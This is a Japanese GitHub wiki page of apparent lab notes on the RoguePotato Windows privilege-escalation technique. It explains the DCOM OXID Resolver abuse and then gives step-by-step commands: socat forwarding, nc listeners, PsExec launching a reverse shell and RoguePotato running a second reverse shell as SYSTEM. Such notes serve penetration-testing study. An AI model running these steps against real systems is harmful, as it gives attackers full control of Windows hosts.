RoguePotato - yokohama/oreshic-record GitHub Wiki

Rogue Potato

説明

RoguePotato は Windows の権限昇格テクニックで、SeImpersonatePrivilege を悪用して LOCAL SERVICE / NETWORK SERVICE から SYSTEM 権限を取得する。

悪用する Windows の機能

DCOM(Distributed COM)OXID Resolver を悪用する。

OXID Resolver とは

Windows サービスが DCOM オブジェクトを利用する際、接続先エンドポイントを解決するための仕組み。ポート 135(MS-RPC Endpoint Mapper)で動作する。

正常な動作 vs 攻撃時の動作

【正常な動作】SQL Server が DCOM オブジェクトを使う場合

SQL Server (SYSTEM)
    │
    ▼ ① 「このCOMオブジェクトどこにある?」
localhost:135 (OXID Resolver)
    │
    ▼ ② 「localhost:xxxx だよ」
SQL Server
    │
    ▼ ③ 正規のエンドポイントに接続
localhost:xxxx (COM Server)
【攻撃時の動作】RoguePotato が介入する場合

RoguePotato
    │
    ▼ ① 偽の DCOM オブジェクトを作成、SYSTEM サービスを誘導
Windows Service (SYSTEM)
    │
    ▼ ② 「このCOMオブジェクトどこにある?」
OXID Resolver(RoguePotato が応答を操作)
    │
    ▼ ③ 「Kali:135 だよ」← 嘘の応答
Windows Service (SYSTEM)
    │
    ▼ ④ SYSTEM トークン付きで認証リクエスト送信
Kali:135 (socat)
    │
    ▼ ⑤ Windows:9999 に転送
RoguePotato (Windows:9999)
    │
    ▼ ⑥ SYSTEM トークンを奪取!
    ▼ ⑦ SeImpersonatePrivilege で SYSTEM として任意コマンド実行

各ポートの役割

ポート 必須/任意 役割
135 必須 OXID Resolver の既定ポート。Windows の仕様で固定
9999 任意 RoguePotato の -l オプションで指定。socat の転送先と一致させればOK

なぜ外部リダイレクトが必要か

Windows 10 1809 以降、ローカル 135 ポートへの OXID 解決が制限された。そのため外部IP経由で迂回し、socat で戻す必要がある

Potato ファミリーの歴史

名前 状況
2016 Hot Potato パッチ済み
2016 Rotten Potato パッチ済み
2018 Juicy Potato Windows Server 2019/Windows 10 1809以降で対策
2020 Rogue Potato 現役(Juicy Potatoの回避版)
2020 PrintSpoofer 現役
2022 GodPotato 現役(最新)

Windows の COM/DCOM 認証の仕組み自体が根本原因であり、完全な修正は後方互換性を壊すため困難。Microsoft は個別のCLSIDをブロックする対症療法を続けているが、新しい攻撃ベクターが発見され続けている

前提条件

対象OS

  • Windows 10 (1809以降含む)
  • Windows Server 2016 / 2019 / 2022

必要な権限

現在のシェルで以下のいずれかの特権が必要:

  • SeImpersonatePrivilege - 認証後にクライアントを偽装
  • SeAssignPrimaryTokenPrivilege - プロセスにトークンを割り当て

確認コマンド:

whoami /priv

該当するアカウント

以下のサービスアカウントは通常 SeImpersonatePrivilege を持つ:

  • LOCAL SERVICE
  • NETWORK SERVICE
  • IIS AppPool ユーザー
  • SQL Server サービスアカウント

環境

本手順について(PsExec を使う理由)

本手順では 管理者権限 + PsExec で LOCAL SERVICE シェルを取得している。これはラボ環境で RoguePotato の動作を学習するためのもの。

シナリオ 前提 現実的か
実際のペンテスト IIS/SQL等のサービス経由でシェル取得済み ◯ よくある
学習・検証用 管理者RDP + PsExec で LOCAL SERVICE を模擬 ◯ ラボ環境向け
PsExec で代替 管理者権限なしで LOCAL SERVICE 取得 ✕ 不可能

注意: PSExec -u "nt authority\local service" は管理者権限が必要。サービスアカウントがない環境での代替手段にはならない

攻撃者側 (Kali Linux)

用途 ツール ポート
ポート転送 socat 135 → Windows:9999
初期シェル受信 nc 443
SYSTEMシェル受信 nc 444

ターゲット側 (Windows)

ファイル 用途
RoguePotato.exe 本体
reverse443.exe LOCAL SERVICE シェル用
reverse444.exe SYSTEM シェル用
PSExec64.exe サービスアカウントでプロセス実行

ダウンロード先

流れ

  sequenceDiagram
    participant Admin as 攻撃者<br/>(Windows RDP)
    participant LocalSvc as LOCAL SERVICE<br/>シェル
    participant RogueP as RoguePotato<br/>(Windows:9999)
    participant WinSvc as Windowsサービス<br/>(SYSTEM権限)
    participant Socat as Kali:135<br/>(socat)
    participant NC1 as Kali:443<br/>(nc リスナー1)
    participant NC2 as Kali:444<br/>(nc リスナー2)

    Note over Socat,NC2: 事前準備

    Note over Socat: socat起動<br/>135→Windows:9999転送
    Note over NC1: nc -lvnp 443
    Note over NC2: nc -lvnp 444

    Note over Admin,NC2: Step 1: LOCAL SERVICEシェル取得

    Admin->>Admin: PSExec64.exe -i<br/>-u "nt authority\local service"<br/>reverse443.exe

    Admin->>NC1: reverse443.exe が<br/>Kali:443 に接続

    NC1-->>LocalSvc: LOCAL SERVICEシェル取得<br/>(SeImpersonatePrivilege あり)

    Note over Admin,NC2: Step 2: RoguePotato でSYSTEM奪取

    LocalSvc->>RogueP: RoguePotato.exe 実行<br/>-r KaliIP -e reverse444.exe -l 9999

    Note over RogueP: Windows:9999 で<br/>リッスン開始

    RogueP->>WinSvc: 「認証先は Kali:135 だよ」<br/>(嘘の情報を注入)

    WinSvc->>Socat: SYSTEM権限で認証リクエスト<br/>(SYSTEMトークン含む)

    Socat->>RogueP: トークンを転送<br/>(Windows:9999へ)

    Note over RogueP: SYSTEMトークン取得!<br/>SeImpersonatePrivilegeで<br/>なりすまし実行

    RogueP->>RogueP: reverse444.exe を<br/>SYSTEM権限で実行

    RogueP->>NC2: reverse444.exe が<br/>Kali:444 に接続

    NC2-->>NC2: SYSTEMシェル取得!
Loading

手順

Step 0: 事前準備 (Kali)

# ターミナル1: ポート転送(Kali:135 → Windows:9999)
sudo socat tcp-listen:135,reuseaddr,fork tcp:$TARGET_IP:9999

# ターミナル2: LOCAL SERVICE シェル用リスナー
nc -lvnp 443

# ターミナル3: SYSTEM シェル用リスナー
nc -lvnp 444

Step 1: LOCAL SERVICE シェル取得 (Windows RDP)

# 管理者権限のcmdから実行
PSExec64.exe -i -u "nt authority\local service" C:\path\to\reverse443.exe

Kali の 443 ポートで LOCAL SERVICE シェルを受信。

Step 2: 権限確認 (LOCAL SERVICE シェル)

whoami
# → nt authority\local service

whoami /priv
# → SeImpersonatePrivilege が Enabled であることを確認

Step 3: RoguePotato 実行 (LOCAL SERVICE シェル)

RoguePotato.exe -r $KALI_IP -e "C:\path\to\reverse444.exe" -l 9999
オプション 説明
-r リダイレクト先(Kali の IP)
-e SYSTEM 権限で実行するコマンド
-l ローカルでリッスンするポート

Step 4: SYSTEM シェル取得

Kali の 444 ポートで SYSTEM シェルを受信。

whoami
# → nt authority\system

Tag

Rogue,Potato,win,priv

⚠️ **GitHub.com Fallback** ⚠️